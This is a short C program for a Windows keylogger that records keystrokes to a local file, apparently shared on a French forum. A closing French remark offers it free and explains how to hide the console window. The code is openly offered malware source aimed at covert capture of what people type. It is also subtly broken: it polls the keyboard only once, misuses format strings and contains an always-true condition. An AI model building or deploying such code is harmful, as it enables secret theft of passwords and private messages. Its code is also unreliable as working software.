#include <stdio.h> #include <windows.h> #include <winuser.h>
void keys(int key) { FILE *key_file; key_file = fopen("key.txt","a+"); if(key==8) { fprintf(key_file,"[del]"); } if(key==13) { fprintf(key_file,"\n"); } if(key==32) { fprintf(key_file," "); } if(key==VK_CAPITAL) { fprintf(key_file,"[Caps]"); } if(key==VK_TAB) { fprintf(key_file,"[TAB]"); } if(key ==VK_SHIFT) { fprintf(key_file,"[SHIFT]"); } if(key ==VK_CONTROL) { fprintf(key_file,"[CTRL]"); } if(key ==VK_PAUSE) { fprintf(key_file,"[PAUSE]"); } if(key ==VK_KANA) { fprintf(key_file,"[Kana]"); } if(key ==VK_ESCAPE) { fprintf(key_file,"[ESC]"); } if(key ==VK_END) { fprintf(key_file,"[END]"); } if(key==VK_HOME) { fprintf(key_file,"[HOME]"); } if(key ==VK_LEFT) { fprintf(key_file,"[LEFT]"); } if(key ==VK_UP) { fprintf(key_file,"[UP]"); } if(key ==VK_RIGHT) { fprintf(key_file,"[RIGHT]"); } if(key ==VK_DOWN) { fprintf(key_file,"[DOWN]"); } if(key ==VK_SNAPSHOT) { fprintf(key_file,"[PRINT]"); } if(key ==VK_NUMLOCK) { fprintf(key_file,"[NUM LOCK]"); } if(key ==VK_INSERT) { fprintf(key_file,"[INSERT]"); } if(key ==VK_DELETE) { fprintf(key_file,"[DELETE]"); } if(key ==VK_DIVIDE) { fprintf(key_file,"/"); } if(key ==VK_SUBTRACT) { fprintf(key_file,"-"); } if(key ==VK_MULTIPLY) { fprintf(key_file,"*"); } if(key ==VK_ADD) { fprintf(key_file,"+"); } if(key ==190 || key==110) { fprintf(key_file,"."); } if(key >=96 && key <= 105) { key = key - 48; fprintf(key_file,"%s",&key); } if(key >=48 && key <= 59) { fprintf(key_file,"%s",&key); } if(key !=VK_LBUTTON || key !=VK_RBUTTON) { if(key >=65 && key <=90) { if(GetKeyState(VK_CAPITAL)) { fprintf(key_file,"%s",&key); } else { key = key +32; fprintf(key_file,"%s",&key); } } } fclose(key_file); }
int main(int argc, char *argv[]) { char id; for(id = 8; id <= 191; id++) { if(GetAsyncKeyState(id) == -32767) { keys(id); } } }
C'est gratos, mais il faut l'optimiser, il ne marche que sous windows et il y a quelques problèmes car il peut tomber en panne. -mwindows pour enlever la console. Bref, fait en quand même bon usage.
|